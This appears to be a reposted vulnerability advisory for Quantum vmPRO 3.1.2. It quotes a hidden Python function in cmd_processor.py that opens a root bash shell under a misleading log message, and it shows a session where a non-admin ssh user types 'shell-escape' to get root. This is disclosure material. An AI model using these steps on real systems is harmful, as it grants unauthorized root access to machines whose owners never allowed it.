Quantum vmPRO 3.1.2 - Privilege Escalation

Details:
----------
 
[ 0x01 - Shell Backdoor Command ]
 
The file "/usr/local/pancetera/bin/cmd_processor.py" on the vmPRO 3.1.2
virtual machine contains the following lines:
 
    def cmd_shell_escape(self, args):
        log_panshell(syslog.LOG_INFO, "internal consistency check started")
        env = dict(os.environ)
        env['SHELL'] = '/bin/bash'
        env['HOME']  = '/tmp'
        env['TERM']  = 'xterm'
        os.spawnle(os.P_WAIT, '/bin/bash', 'bash', env)
        log_panshell(syslog.LOG_INFO, "internal consistency check finished")
        return
 
This is a hidden command to gain a root shell. If we create a user in the
web interface without administrator rights,
we can still ssh and gain a root shell! This of course should not be
possible and only be accessible to an admin user.
 
$ ssh [email protected]
[email protected]'s password:
Last login: Thu Dec 19 23:42:10 2013 from 192.168.2.72
Welcome to Quantum vmPRO Console
--------------------------------
 
Quantum vmPRO GUI: https://192.168.2.112/
 
*** Type 'help' for a list of commands.
 
quantum:localhost> shell-escape
bash-4.1# id
uid=0(root) gid=100(users) groups=0(root),100(users)

#  0day.today [2018-03-19]  #